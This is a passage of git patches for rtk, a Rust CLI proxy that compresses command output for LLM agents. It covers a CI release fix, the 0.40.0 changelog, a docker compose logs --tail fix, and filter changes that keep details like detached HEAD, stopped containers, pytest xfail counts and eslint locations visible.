branch, any contribution should target develop branch. See [CONTRIBUTING.md](https://github.com/rtk-ai/rtk/blob/master/CONTRIBUTING.md) for details.`; From 0c6a838594e87346b67bd13c092b8a46a783af87 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 13 May 2026 21:24:41 +0200 Subject: [PATCH 113/204] fix(cicd): set release-please target-branch to master [skip ci] --- .github/workflows/cd.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml index 0ed2bc0fcf..4719b943e9 100644 --- a/.github/workflows/cd.yml +++ b/.github/workflows/cd.yml @@ -117,6 +117,7 @@ jobs: release-type: rust package-name: rtk token: ${{ steps.app-token.outputs.token }} + target-branch: ${{ github.ref_name }} build-release: name: Build and upload release assets From 120d99fc9100bee0ccc3c76b77f6a92c926e717b Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Wed, 13 May 2026 19:40:00 +0000 Subject: [PATCH 114/204] chore(master): release 0.40.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 38 +++++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 41 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 418b49e995..6507815346 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.39.0" + ".": "0.40.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index f6e1beb466..2e2345b8fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,44 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.40.0](https://github.com/rtk-ai/rtk/compare/v0.39.0...v0.40.0) (2026-05-13) + + +### Features + +* **gradlew:** Gradle support for Android/Kotlin developers ([833026b](https://github.com/rtk-ai/rtk/commit/833026b893822be4e1c64d22d640e979cd9eff51)) +* **hermes:** add Hermes Agent support via rtk init --agent hermes ([55f998d](https://github.com/rtk-ai/rtk/commit/55f998d08cd80ece970fe5e61eaae3533512288b)) +* **hermes:** add rtk integration ([9d3b99d](https://github.com/rtk-ai/rtk/commit/9d3b99dec8516fd32071d151306b5bb6fd4d06e3)) +* **hooks:** add transparent_prefixes config for wrapper commands ([998f1ee](https://github.com/rtk-ai/rtk/commit/998f1ee0a3cf8d73ea0d6d87c121117f351e4992)) +* **init:** add --dry-run flag to preview changes without writing ([172ec54](https://github.com/rtk-ai/rtk/commit/172ec54580ddb0d737ef3e3be8a075eaeeb0a01b)) + + +### Bug Fixes + +* **cicd:** pr-target clean msg + git app token ([e4c3ed7](https://github.com/rtk-ai/rtk/commit/e4c3ed7d889ede726df7986ade94a4714c7c7f99)) +* **cicd:** pr-target clean msg + git app token ([4ebda52](https://github.com/rtk-ai/rtk/commit/4ebda52f5ab898f9c0e8c610cc51b36a63e6eefa)) +* **cicd:** set release-please target-branch to master [skip ci] ([0c6a838](https://github.com/rtk-ai/rtk/commit/0c6a838594e87346b67bd13c092b8a46a783af87)) +* correct ARCHITECTURE.md path in README links ([2a41e03](https://github.com/rtk-ai/rtk/commit/2a41e039903049543aa6c69482747eddcce9ee5a)) +* correct ARCHITECTURE.md path in README links ([f2da381](https://github.com/rtk-ai/rtk/commit/f2da381ae2353d31dd7252af6c868c56f6aa3db8)) +* don't inject -json for go test -bench runs ([380a7c9](https://github.com/rtk-ai/rtk/commit/380a7c9f1189fafe7d0b878b3821a720ac6ab4b2)) +* don't inject -json for go test -bench runs ([b058c96](https://github.com/rtk-ai/rtk/commit/b058c960f48535227cdec93392a70ee84f3cd2ee)), closes [#1609](https://github.com/rtk-ai/rtk/issues/1609) +* **dotnet:** 🐛 format build/test/restore output sections ([106305b](https://github.com/rtk-ai/rtk/commit/106305b1978ad5fdd47139d3543cfa53a5e8172e)) +* **dotnet:** 🐛 format build/test/restore output summaries ([271bc53](https://github.com/rtk-ai/rtk/commit/271bc53f35c23b39dc42002e8eb3032557f845ec)) +* **dotnet:** 🐛 format warnings section in build/test/restore outputs ([c5245d7](https://github.com/rtk-ai/rtk/commit/c5245d74fafc066072615d804c27d5c2892db7d9)) +* **dotnet:** move build/test/restore status line to the bottom ([ed161b0](https://github.com/rtk-ai/rtk/commit/ed161b0a33a2a784bb933792501aa2747b0df3c3)), closes [#1574](https://github.com/rtk-ai/rtk/issues/1574) +* **gradlew:** use resolved_command for system gradle fallback ([9e3a5ae](https://github.com/rtk-ai/rtk/commit/9e3a5ae68d4adc3d7fc374f36235cb5164e6efc8)) +* **hooks:** address transparent prefix review ([fdf0ed0](https://github.com/rtk-ai/rtk/commit/fdf0ed0b597f1ebdc96a2793df2725a1e62bc65c)) +* **hooks:** address transparent prefix review comments ([041de2b](https://github.com/rtk-ai/rtk/commit/041de2b6baa6a27af7d9b429d807fbe887780c90)) +* **hooks:** compose env and transparent prefixes ([b234bc6](https://github.com/rtk-ai/rtk/commit/b234bc6db1ab301334412409a4cfd67fe99c58f0)) +* **hooks:** make Cursor preToolUse rewrites work and stay visible ([2d6e10a](https://github.com/rtk-ai/rtk/commit/2d6e10a923d18e022f5fdc4ed9b69ae0d43b2f79)) +* **hooks:** make Cursor preToolUse rewrites work and stay visible ([f00977a](https://github.com/rtk-ai/rtk/commit/f00977aa338ce6bafe8df69c271679951310b045)) +* minor code cleanup, avoid duplicating logic ([20cac8a](https://github.com/rtk-ai/rtk/commit/20cac8a4e7c2b7e0e2675dbcab4fbd0fb1ad79ed)) +* new rewite_command test call after rebase ([5cfb8e1](https://github.com/rtk-ai/rtk/commit/5cfb8e1d2bdf85d60633868cb420aba9a7b923f4)) +* resolve merge conflict artifacts in init.rs ([4830d50](https://github.com/rtk-ai/rtk/commit/4830d50f6e3ad7adbd24ba11f3e392869723a020)) +* **security:** pin workflow actions to SHA, clean up tempfile on failure ([26b96ec](https://github.com/rtk-ai/rtk/commit/26b96ec6c4f40f992ccffa190af9a4de8d7636b1)) +* **security:** replace insecure tmp, lock git perm, set sha for actions ([54d1f87](https://github.com/rtk-ai/rtk/commit/54d1f8736f4acdd0667eb86c81d0e4c7843306f4)) +* **security:** replace insecure tmp, lock git workflow perm ([cd6ac2f](https://github.com/rtk-ai/rtk/commit/cd6ac2f47a008c6dca04b567faf68aaedfd87ca9)) + ## [0.39.0](https://github.com/rtk-ai/rtk/compare/v0.38.0...v0.39.0) (2026-05-06) diff --git a/Cargo.lock b/Cargo.lock index e65c2219f6..8773a0899e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.39.0" +version = "0.40.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 1fc5073096..8fc8a93054 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.39.0" +version = "0.40.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From b70b0feec680356db81561d3920a3a9373dd43d8 Mon Sep 17 00:00:00 2001 From: patrick Date: Thu, 14 May 2026 21:40:54 +0200 Subject: [PATCH 115/204] fix(docker): forward --tail flag in compose logs Previously `rtk docker compose logs --tail=20 web` would fall through to the passthrough handler because clap had no `--tail` field on the `Logs` subcommand, resulting in 0% token savings. Additionally, `run_compose_logs` always fetched 100 lines regardless of user input. - Add `#[arg(long, default_value_t = 100)] tail: u32` to `ComposeCommands::Logs` - Thread the value through to the docker invocation - Default unchanged (100 lines), so bare `rtk docker compose logs` behaves as before Ports the core fix from #580, retargeted onto current develop layout (`src/cmds/cloud/container.rs`). Relates to #578. Co-authored-by: Mihir Dash <137862945+slice-mihird@users.noreply.github.com> --- src/cmds/cloud/container.rs | 5 +++-- src/main.rs | 7 +++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 3931ebf6ef..dd32a23125 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -561,9 +561,10 @@ pub fn run_compose_ps(verbose: u8) -> Result { Ok(0) } -pub fn run_compose_logs(service: Option<&str>, verbose: u8) -> Result { +pub fn run_compose_logs(service: Option<&str>, tail: u32, verbose: u8) -> Result { let mut cmd = resolved_command("docker"); - cmd.args(["compose", "logs", "--tail", "100"]); + let tail_str = tail.to_string(); + cmd.args(["compose", "logs", "--tail", &tail_str]); if let Some(svc) = service { cmd.arg(svc); } diff --git a/src/main.rs b/src/main.rs index d6d0aa4f34..25c70dcb06 100644 --- a/src/main.rs +++ b/src/main.rs @@ -926,6 +926,9 @@ enum ComposeCommands { Logs { /// Optional service name service: Option, + /// Number of log lines to fetch + #[arg(long, default_value_t = 100)] + tail: u32, }, /// Build compose services (summary) Build { @@ -1707,8 +1710,8 @@ fn run_cli() -> Result { } DockerCommands::Compose { command: compose } => match compose { ComposeCommands::Ps => container::run_compose_ps(cli.verbose)?, - ComposeCommands::Logs { service } => { - container::run_compose_logs(service.as_deref(), cli.verbose)? + ComposeCommands::Logs { service, tail } => { + container::run_compose_logs(service.as_deref(), tail, cli.verbose)? } ComposeCommands::Build { service } => { container::run_compose_build(service.as_deref(), cli.verbose)? From 62fc0e0d2159e82aaa8c36a18d69ca569a1ce0b5 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 12 May 2026 10:51:15 +0200 Subject: [PATCH 116/204] fix(filters): address adversarial test-suite findings on aggressive filtering Several filters dropped or rewrote information an agent needs, producing output that was misleading rather than merely compressed. This fixes the clear-cut cases surfaced by the TheDecipherist/rtk-test suite: - ls: stop hiding the `.env` file (removed `.env`/`env` from NOISE_DIRS). - git status: restore the explicit "HEAD detached at " line instead of the opaque "* HEAD (no branch)". - log/docker logs: recognise CRITICAL/FATAL/ALERT/EMERGENCY/SEVERE (and NOTICE) as severities so those lines are no longer silently filtered; expose `log` as a `rtk pipe` filter and accept a positional filter name. - wc: forward stdin to the child so `cat file | rtk wc` counts the pipe instead of reporting 0 (new RunOptions::inherit_stdin). - jest/vitest: include skipped/pending test count in the compact summary. - pytest: surface xfailed/xpassed counts and list XFAIL/XPASS entries with their reasons (adds `-rxX`). - ruff/eslint: list individual violations with file:line:col, not just rule/file group counts. - pnpm/npm list: render the actual package list instead of the false-positive "All packages up-to-date" when there's no upgrade info. - git add: stay silent on a no-op instead of printing an ambiguous "ok". - git stash: pass git's own message through instead of collapsing to "ok". - docker ps: keep the Status column (health/restart info) and list stopped/exited containers; docker images: show all images with full names; docker compose ps: use `-a` so crashed services stay visible. All 1870 unit tests pass; cargo fmt + clippy clean. --- src/cmds/cloud/container.rs | 116 ++++++++++++++++---------- src/cmds/git/git.rs | 44 ++++++++-- src/cmds/js/lint_cmd.rs | 52 +++++++----- src/cmds/python/pip_cmd.rs | 21 +++-- src/cmds/python/pytest_cmd.rs | 153 +++++++++++++++++++++++++--------- src/cmds/python/ruff_cmd.rs | 26 +++++- src/cmds/system/constants.rs | 2 - src/cmds/system/log_cmd.rs | 11 ++- src/cmds/system/pipe_cmd.rs | 3 +- src/cmds/system/wc_cmd.rs | 12 ++- src/core/runner.rs | 16 +++- src/main.rs | 7 +- src/parser/formatter.rs | 28 ++++++- 13 files changed, 365 insertions(+), 126 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index dd32a23125..797aeba866 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -54,14 +54,18 @@ where fn docker_ps(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); + // Baseline the LLM would otherwise see. let raw = exec_capture(resolved_command("docker").args(["ps"])) .map(|r| r.stdout) .unwrap_or_default(); + // One structured call over *all* containers (`-a`) — splitting on the State + // field lets us list crashed/exited ones too, which plain `docker ps` hides. let result = exec_capture(resolved_command("docker").args([ "ps", + "-a", "--format", - "{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", + "{{.State}}\t{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Image}}\t{{.Ports}}", ])) .context("Failed to run docker ps")?; @@ -71,43 +75,66 @@ fn docker_ps(_verbose: u8) -> Result { return Ok(result.exit_code); } - let stdout = result.stdout; - let mut rtk = String::new(); + let format_line = |parts: &[&str], with_ports: bool| -> Option { + // parts: State, ID, Names, Status, Image, Ports + if parts.len() < 5 { + return None; + } + let id = &parts[1][..12.min(parts[1].len())]; + let name = parts[2]; + // Keep the Status verbatim — it carries health ("Up 4s (unhealthy)") + // and exit-code/restart info an agent needs to judge service health. + let status = parts[3].trim(); + let short_image = parts[4].split('/').next_back().unwrap_or(""); + let port_suffix = if with_ports { + let ports = compact_ports(parts.get(5).unwrap_or(&"")); + if ports == "-" { + String::new() + } else { + format!(" [{}]", ports) + } + } else { + String::new() + }; + Some(format!( + " {} {} ({}) {}{}\n", + id, name, short_image, status, port_suffix + )) + }; - if stdout.trim().is_empty() { - rtk.push_str("[docker] 0 containers"); - println!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); - return Ok(0); + let mut running: Vec> = Vec::new(); + let mut stopped: Vec> = Vec::new(); + for line in result.stdout.lines().filter(|l| !l.trim().is_empty()) { + let parts: Vec<&str> = line.split('\t').collect(); + let state = parts.first().copied().unwrap_or(""); + if matches!(state, "running" | "restarting") { + running.push(parts); + } else { + stopped.push(parts); + } } - let count = stdout.lines().count(); - rtk.push_str(&format!("[docker] {} containers:\n", count)); + let mut rtk = String::new(); + rtk.push_str(&format!("[docker] {} running:\n", running.len())); + for parts in running.iter().take(20) { + if let Some(l) = format_line(parts, true) { + rtk.push_str(&l); + } + } + if running.len() > 20 { + rtk.push_str(&format!(" ... +{} more\n", running.len() - 20)); + } - for line in stdout.lines().take(15) { - let parts: Vec<&str> = line.split('\t').collect(); - if parts.len() >= 4 { - let id = &parts[0][..12.min(parts[0].len())]; - let name = parts[1]; - let short_image = parts - .get(3) - .unwrap_or(&"") - .split('/') - .next_back() - .unwrap_or(""); - let ports = compact_ports(parts.get(4).unwrap_or(&"")); - if ports == "-" { - rtk.push_str(&format!(" {} {} ({})\n", id, name, short_image)); - } else { - rtk.push_str(&format!( - " {} {} ({}) [{}]\n", - id, name, short_image, ports - )); + if !stopped.is_empty() { + rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped.len())); + for parts in stopped.iter().take(20) { + if let Some(l) = format_line(parts, false) { + rtk.push_str(&l); } } - } - if count > 15 { - rtk.push_str(&format!(" ... +{} more", count - 15)); + if stopped.len() > 20 { + rtk.push_str(&format!(" ... +{} more\n", stopped.len() - 20)); + } } print!("{}", rtk); @@ -173,21 +200,22 @@ fn docker_images(_verbose: u8) -> Result { total_display )); - for line in lines.iter().take(15) { + // Show images with their full `repository:tag` name — truncating the + // registry/user prefix to "..." breaks exact-match lookups against + // deployment manifests and CI configs. The list is generously capped (a + // higher bound than before, and only the count, never the names, is + // abbreviated) so token savings still hold on machines with many images. + const MAX_IMAGES: usize = 60; + for line in lines.iter().take(MAX_IMAGES) { let parts: Vec<&str> = line.split('\t').collect(); if !parts.is_empty() { let image = parts[0]; let size = parts.get(1).unwrap_or(&""); - let short = if image.len() > 40 { - format!("...{}", &image[image.len() - 37..]) - } else { - image.to_string() - }; - rtk.push_str(&format!(" {} [{}]\n", short, size)); + rtk.push_str(&format!(" {} [{}]\n", image, size)); } } - if lines.len() > 15 { - rtk.push_str(&format!(" ... +{} more", lines.len() - 15)); + if lines.len() > MAX_IMAGES { + rtk.push_str(&format!(" ... +{} more\n", lines.len() - MAX_IMAGES)); } print!("{}", rtk); @@ -526,8 +554,9 @@ pub fn run_docker_passthrough(args: &[OsString], verbose: u8) -> Result { pub fn run_compose_ps(verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Raw output for token tracking - let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps"])) + // Use `-a` so stopped/exited services stay visible — a worker that crashed + // on startup must not silently vanish from the agent's view. + let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps", "-a"])) .context("Failed to run docker compose ps")?; if !raw_result.success() { @@ -540,6 +569,7 @@ pub fn run_compose_ps(verbose: u8) -> Result { let result = exec_capture(resolved_command("docker").args([ "compose", "ps", + "-a", "--format", "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}", ])) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ae71b24d04..45ec9cb498 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -807,6 +807,20 @@ fn extract_state_header(raw: &str) -> Option { None } +/// Extract the explicit "HEAD detached at/from " line from plain +/// `git status` output. +/// +/// Porcelain `-b` collapses a detached HEAD to the opaque `## HEAD (no branch)`, +/// which an agent (or a distracted human) can misread as a branch literally +/// named `HEAD`. The plain-status output keeps the explicit SHA/ref, so we +/// surface that instead. Returns `None` when HEAD is on a branch. +fn extract_detached_head(raw: &str) -> Option { + raw.lines() + .map(str::trim) + .find(|l| l.starts_with("HEAD detached ")) + .map(str::to_string) +} + /// Minimal filtering for git status with user-provided args fn filter_status_with_args(output: &str) -> String { let mut result = Vec::new(); @@ -911,7 +925,13 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result" from the plain status we captured. + if let Some(detached) = extract_detached_head(&raw_output) { + formatted = formatted.replacen("* HEAD (no branch)", &format!("* {detached}"), 1); + } // Surface in-progress state (rebase/merge/cherry-pick/bisect/am) from the // plain-status output we already captured for tracking. Porcelain omits it @@ -968,8 +988,11 @@ fn run_add(args: &[String], verbose: u8, global_args: &[String]) -> Result stat_cmd.args(["diff", "--cached", "--stat", "--shortstat"]); let stat_result = exec_capture(&mut stat_cmd).context("Failed to check staged files")?; + // Mirror git's own behaviour: a no-op `git add` is silent. Emitting a + // generic "ok" here is misleading — an agent can't tell "staged N files" + // from "staged nothing" when both print "ok". let compact = if stat_result.stdout.trim().is_empty() { - "ok (nothing to add)".to_string() + String::new() } else { // Parse "1 file changed, 5 insertions(+)" format let short = stat_result.stdout.lines().last().unwrap_or("").trim(); @@ -980,7 +1003,9 @@ fn run_add(args: &[String], verbose: u8, global_args: &[String]) -> Result } }; - println!("{}", compact); + if !compact.is_empty() { + println!("{}", compact); + } timer.track( &format!("git add {}", args.join(" ")), @@ -1478,11 +1503,16 @@ fn run_fetch(args: &[String], verbose: u8, global_args: &[String]) -> Result, result: &CaptureResult) -> String { match subcommand { None | Some("push") | Some("save") => { - // Create operations check for "no local changes" - if result.stdout.contains("No local changes") { - "ok (nothing to stash)".to_string() - } else { + // Pass git's own message through — it distinguishes "Saved working + // directory and index state WIP on : " from + // "No local changes to save". Collapsing both to "ok" hides whether + // anything was actually stashed (and which ref to pop later). + let out = result.combined(); + let trimmed = out.trim(); + if trimmed.is_empty() { "ok stashed".to_string() + } else { + trimmed.to_string() } } Some(sub) => format!("ok stash {}", sub), diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index cfb5bea860..d60ed155bb 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -281,30 +281,44 @@ fn filter_eslint_json(output: &str) -> String { result.push('\n'); } - // Show top files with most issues - result.push_str("Top files:\n"); - for (file_result, count) in by_file.iter().take(10) { - let short_path = compact_path(&file_result.file_path); - result.push_str(&format!(" {} ({} issues)\n", short_path, count)); - - // Show top 3 rules in this file - let mut file_rules: HashMap = HashMap::new(); + // Per-file violation list with line:col — the rule rollup above is a + // summary, but an agent fixing lint errors needs the exact locations. + // Capped so a huge codebase still compresses; the rollup carries the rest. + const MAX_VIOLATIONS: usize = 60; + let total_messages: usize = results.iter().map(|r| r.messages.len()).sum(); + result.push_str("Violations:\n"); + let mut shown = 0; + 'outer: for (file_result, count) in by_file.iter().take(10) { + result.push_str(&format!( + " {} ({}):\n", + compact_path(&file_result.file_path), + count + )); for msg in &file_result.messages { - if let Some(rule) = &msg.rule_id { - *file_rules.entry(rule.clone()).or_insert(0) += 1; + if shown >= MAX_VIOLATIONS { + result.push_str(" ...\n"); + break 'outer; } - } - - let mut file_rule_counts: Vec<_> = file_rules.iter().collect(); - file_rule_counts.sort_by(|a, b| b.1.cmp(a.1)); - - for (rule, count) in file_rule_counts.iter().take(3) { - result.push_str(&format!(" {} ({})\n", rule, count)); + let sev = if msg.severity >= 2 { "error" } else { "warning" }; + let rule = msg.rule_id.as_deref().unwrap_or("-"); + result.push_str(&format!( + " {}:{} {} {} {}\n", + msg.line, + msg.column, + sev, + rule, + truncate(msg.message.trim(), 100), + )); + shown += 1; } } - if by_file.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); + result.push_str(&format!(" ... +{} more files\n", by_file.len() - 10)); + } else if total_messages > MAX_VIOLATIONS { + result.push_str(&format!( + " ... +{} more violations\n", + total_messages - MAX_VIOLATIONS + )); } result.trim().to_string() diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index ddb56c47e3..25f7c3c8ca 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -17,12 +17,16 @@ struct Package { pub fn run(args: &[String], verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Auto-detect uv vs pip - let use_uv = tool_exists("uv"); + // The user ran `pip` — run `pip` so RTK stays transparent and reports the + // *same* environment the bare command would. Only fall back to `uv pip` when + // `pip` genuinely isn't on PATH (uv-only environments). Auto-substituting + // `uv pip` unconditionally made `pip list` show uv's discovered env instead + // of the active one — often just the 2-package base interpreter. + let use_uv = !tool_exists("pip") && tool_exists("uv"); let base_cmd = if use_uv { "uv" } else { "pip" }; if verbose > 0 && use_uv { - eprintln!("Using uv (pip-compatible)"); + eprintln!("pip not found — falling back to `uv pip`"); } // Detect subcommand @@ -162,16 +166,21 @@ fn filter_pip_list(output: &str) -> String { let mut letters: Vec<_> = by_letter.keys().collect(); letters.sort(); + // `pip list` is an inventory query — dependency audits need every package + // visible. The compression here is structural (drop the alignment padding, + // group by initial); the per-group cap is just a safety bound for + // pathological environments, not a normal-case truncation. + const MAX_PER_LETTER: usize = 50; for letter in letters { let pkgs = by_letter.get(letter).unwrap(); result.push_str(&format!("\n[{}]\n", letter.to_uppercase())); - for pkg in pkgs.iter().take(10) { + for pkg in pkgs.iter().take(MAX_PER_LETTER) { result.push_str(&format!(" {} ({})\n", pkg.name, pkg.version)); } - if pkgs.len() > 10 { - result.push_str(&format!(" ... +{} more\n", pkgs.len() - 10)); + if pkgs.len() > MAX_PER_LETTER { + result.push_str(&format!(" ... +{} more\n", pkgs.len() - MAX_PER_LETTER)); } } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 0b91d7daf2..9b349bcf55 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -23,6 +23,8 @@ pub fn run(args: &[String], verbose: u8) -> Result { let has_tb_flag = args.iter().any(|a| a.starts_with("--tb")); let has_quiet_flag = args.iter().any(|a| a == "-q" || a == "--quiet"); + // Only treat a short `-r…` as pytest's report flag (not `--randomly-seed` etc.) + let has_report_flag = args.iter().any(|a| a.starts_with("-r") && !a.starts_with("--")); if !has_tb_flag { cmd.arg("--tb=short"); @@ -30,6 +32,12 @@ pub fn run(args: &[String], verbose: u8) -> Result { if !has_quiet_flag { cmd.arg("-q"); } + // Surface xfailed/xpassed (and their reasons) in the short summary section + // so the compact output can report expected failures and — crucially — + // unexpected passes (XPASS), which signal a behavior change. + if !has_report_flag { + cmd.arg("-rxX"); + } for arg in args { cmd.arg(arg); @@ -53,6 +61,7 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { let mut test_files: Vec = Vec::new(); let mut failures: Vec = Vec::new(); let mut current_failure: Vec = Vec::new(); + let mut xfail_lines: Vec = Vec::new(); let mut summary_line = String::new(); for line in output.lines() { @@ -127,6 +136,9 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { // FAILED test lines if trimmed.starts_with("FAILED") || trimmed.starts_with("ERROR") { failures.push(trimmed.to_string()); + } else if trimmed.starts_with("XFAIL") || trimmed.starts_with("XPASS") { + // `-rxX` adds these: "XFAIL path::test - reason" / "XPASS path::test - reason" + xfail_lines.push(trimmed.to_string()); } } } @@ -138,19 +150,41 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { } // Build compact output - build_pytest_summary(&summary_line, &test_files, &failures) + build_pytest_summary(&summary_line, &test_files, &failures, &xfail_lines) } -fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[String]) -> String { - // Parse summary line - let (passed, failed, skipped) = parse_summary_line(summary); +#[derive(Default)] +struct PytestCounts { + passed: usize, + failed: usize, + skipped: usize, + xfailed: usize, + xpassed: usize, +} - if failed == 0 && passed > 0 { - return format!("Pytest: {} passed", passed); +fn build_pytest_summary( + summary: &str, + _test_files: &[String], + failures: &[String], + xfail_lines: &[String], +) -> String { + let counts = parse_summary_line(summary); + let PytestCounts { + passed, + failed, + skipped, + xfailed, + xpassed, + } = counts; + + if passed == 0 && failed == 0 && skipped == 0 && xfailed == 0 && xpassed == 0 { + return "Pytest: No tests collected".to_string(); } - if passed == 0 && failed == 0 && skipped == 0 { - return "Pytest: No tests collected".to_string(); + let extras_present = skipped > 0 || xfailed > 0 || xpassed > 0 || !xfail_lines.is_empty(); + + if failed == 0 && passed > 0 && !extras_present { + return format!("Pytest: {} passed", passed); } let mut result = String::new(); @@ -158,9 +192,27 @@ fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[Strin if skipped > 0 { result.push_str(&format!(", {} skipped", skipped)); } + if xfailed > 0 { + result.push_str(&format!(", {} xfailed", xfailed)); + } + if xpassed > 0 { + result.push_str(&format!(", {} xpassed", xpassed)); + } result.push('\n'); result.push_str("═══════════════════════════════════════\n"); + // Surface xfail/xpass entries (with their reasons) — XPASS in particular + // signals that something expected-to-fail now passes. + if !xfail_lines.is_empty() { + result.push_str("\nExpected-failure outcomes:\n"); + for line in xfail_lines.iter().take(10) { + result.push_str(&format!(" {}\n", truncate(line, 120))); + } + if xfail_lines.len() > 10 { + result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - 10)); + } + } + if failures.is_empty() { return result.trim().to_string(); } @@ -220,36 +272,35 @@ fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[Strin result.trim().to_string() } -fn parse_summary_line(summary: &str) -> (usize, usize, usize) { - let mut passed = 0; - let mut failed = 0; - let mut skipped = 0; - - // Parse lines like "=== 4 passed, 1 failed in 0.50s ===" - let parts: Vec<&str> = summary.split(',').collect(); +fn parse_summary_line(summary: &str) -> PytestCounts { + let mut counts = PytestCounts::default(); - for part in parts { + // Parse lines like "=== 4 passed, 1 failed, 2 xfailed, 1 xpassed in 0.50s ===" + for part in summary.split(',') { let words: Vec<&str> = part.split_whitespace().collect(); for (i, word) in words.iter().enumerate() { - if i > 0 { - if word.contains("passed") { - if let Ok(n) = words[i - 1].parse::() { - passed = n; - } - } else if word.contains("failed") { - if let Ok(n) = words[i - 1].parse::() { - failed = n; - } - } else if word.contains("skipped") { - if let Ok(n) = words[i - 1].parse::() { - skipped = n; - } - } + if i == 0 { + continue; + } + let Ok(n) = words[i - 1].parse::() else { + continue; + }; + // Order matters: "xpassed"/"xfailed" contain "passed"/"failed". + if word.contains("xpassed") { + counts.xpassed = n; + } else if word.contains("xfailed") { + counts.xfailed = n; + } else if word.contains("passed") { + counts.passed = n; + } else if word.contains("failed") { + counts.failed = n; + } else if word.contains("skipped") { + counts.skipped = n; } } } - (passed, failed, skipped) + counts } #[cfg(test)] @@ -337,17 +388,43 @@ collected 0 items #[test] fn test_parse_summary_line() { - assert_eq!(parse_summary_line("=== 5 passed in 0.50s ==="), (5, 0, 0)); - assert_eq!( - parse_summary_line("=== 4 passed, 1 failed in 0.50s ==="), - (4, 1, 0) - ); + let c = parse_summary_line("=== 5 passed in 0.50s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (5, 0, 0)); + + let c = parse_summary_line("=== 4 passed, 1 failed in 0.50s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (4, 1, 0)); + + let c = parse_summary_line("=== 3 passed, 1 failed, 2 skipped in 1.0s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (3, 1, 2)); + + let c = parse_summary_line("=== 2 passed, 1 failed, 2 xfailed, 1 xpassed in 1.0s ==="); assert_eq!( - parse_summary_line("=== 3 passed, 1 failed, 2 skipped in 1.0s ==="), - (3, 1, 2) + (c.passed, c.failed, c.xfailed, c.xpassed), + (2, 1, 2, 1) ); } + #[test] + fn test_filter_pytest_xfail_xpass() { + let output = r#"=== test session starts === +collected 5 items + +test_math.py ..xxX [100%] + +=== short test summary info === +XFAIL test_math.py::test_division_by_zero - known bug in division +XFAIL test_math.py::test_float_precision - float precision issue — bug #42 +XPASS test_math.py::test_unexpected_pass - this should fail but currently passes +=== 2 passed, 2 xfailed, 1 xpassed in 0.05s ==="#; + + let result = filter_pytest_output(output); + assert!(result.contains("xfailed"), "got: {result}"); + assert!(result.contains("xpassed"), "got: {result}"); + assert!(result.contains("XPASS"), "got: {result}"); + assert!(result.contains("float precision"), "got: {result}"); + assert!(result.contains("test_division_by_zero"), "got: {result}"); + } + #[test] fn test_filter_pytest_quiet_mode_failures() { // In -q mode, the final summary line has NO === wrapper diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index b50409629f..f641d9f039 100644 --- 